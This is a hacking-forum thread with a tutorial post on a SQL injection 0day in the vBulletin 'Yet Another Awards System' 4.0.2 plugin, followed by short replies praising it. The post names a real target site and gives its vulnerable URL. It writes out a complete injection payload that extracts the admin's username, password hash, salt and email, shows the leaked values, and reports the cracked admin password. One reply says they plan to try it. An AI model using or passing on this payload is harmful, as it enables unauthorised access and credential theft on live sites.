Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


[Video] vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day

  • 1 Vote(s) - 5 Average


10-04-2012, 04:45 AM #1
Shadow008 Offline Jr.Admin ******
Super Moderators
Posts:54 Threads:19 Joined:Jun 2012 Reputation: 3
Mood: None
Exploit: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day
Video By: Shadow008







What things I used?
1) FireFox
2) Hackbar addon
3) PasswordsPro for Cracking
vBulletin Hash Type:md5(md5($salt).md5($pass))

Text In Video:
Code:
# Assalamu Alaikum and HellO EveryOne !# In this video, I will be teaching you guys on how to SQL Inject into a vBulletin database from a vulnerable plugin called Yet Another Awards System.# Many websites are using it, It will work on some sites.
# Lets Start :D# Target: http://fpsbunker.com/fodforums/# Vul Link: http://fpsbunker.com/fodforums/request_award.php# Click Load URLAnd Then Post:Post: do=submit&name=award_id=2 &award_request_reason=0&award_request_uid=0' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt,0x3a,email) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#&submit=Submit# and then hit Execute :DDatabase Error, Check its page source code
MySQL Error   : Duplicate entry 'day8249:cf9fc99e21a3bce77358713ffa0cb59c:[email protected]:[email protected]~' for key 'group_key'# Username:day8249# Hash:cf9fc99e21a3bce77358713ffa0cb59c# Salt:[email protected]# Email:[email protected]
Lets Crack the admin Hash :D
# Cracked Password:ryan03Admin password cracked and is ryan03Lets try


# Thanks for watching and I hope the video was easy to understand.# More video tutorials can be found at www.MadLeets.com# Video By Shadow008# Greets to All MadLeeTs Team: www.MadLeets.com

10-04-2012, 04:49 AM #2
[email protected] Offline Respected *****
Respected
Posts:127 Threads:39 Joined:Jul 2012 Reputation: 0
Mood: Crazy
nICe Work Hababy Smiley1 100% (Y)

10-04-2012, 04:49 AM #3
CutY Offline MadLeets Vip ******
V.I.P
Posts:174 Threads:32 Joined:Jun 2012 Reputation: 1
Mood: None
AwesOme xD

10-04-2012, 04:49 AM #4
H4x0rl1f3 Offline Commander In Cheif *******
Administrators
Posts:1,126 Threads:25 Joined:Jun 2012 Reputation: 15
Mood: Stoned
Love the way you choose music lmao Smiley1 thanks for sharing with usSmiley1
Awesome work Shadow008

Always Aspect Reward from the Creator and not anyone or anything Created.
For Complaints & Help Contact:- [email protected]
Zone-h
http://zone-h.org/archive/notifier=H4x0rL1f3
I am the orphan of Gaza & Kashmir. Ruins of Iraq,Syria & Palestine Bombarded of Pakistan,Afghanistan, Mali & Yemen Change of Libya and Egypt Discriminated of Bahrain & Turkey Freedom of Earth's paradise and Al-AQSA. I am the hunger stricken child of Somalia, Ethopia, & rest of Africa I am the suffering of each and every single corner of the world. But Listen!!! Hope is what I am!!


10-04-2012, 04:51 AM #5
DB-BUST3R Offline Junior Member **
Registered
Posts:9 Threads:0 Joined:Sep 2012 Reputation: 0
Mood: None
Thanks alot brother for sharing Smiley1 Soon gonna try.

10-04-2012, 05:11 AM #6
Mast3r M!nd Offline Member ***
Registered
Posts:55 Threads:3 Joined:Jul 2012 Reputation: 0
Mood: None
AWESOME BRO KEEP IT UP Biggrinsmiley

10-04-2012, 05:31 AM #7
Hitcher Offline MadLeets Vip ******
V.I.P
Posts:52 Threads:6 Joined:Jun 2012 Reputation: 0
Mood: None
Bravo Brother

10-04-2012, 05:47 AM #8
Tor Demon Offline MadLeets Vip ******
V.I.P
Posts:172 Threads:5 Joined:Jun 2012 Reputation: 0
Mood: None
nice Biggrinsmiley

MERCY IS NOT TO FORGIVE ThE PEOPLEAngrysmiley

10-04-2012, 11:11 AM #9
Dr.Z0mbie Offline Administrator *******
Administrators
Posts:286 Threads:27 Joined:Jun 2012 Reputation: 6
Mood: None
nice work bro Smiley1

Y U NO ADD REP?!

10-04-2012, 03:40 PM #10
[email protected] Offline Junior Member **
Registered
Posts:3 Threads:0 Joined:Aug 2012 Reputation: 0
Mood: None
Nice work bravo . You rocks again






Forum Jump:


Users browsing this thread:1 Guest(s)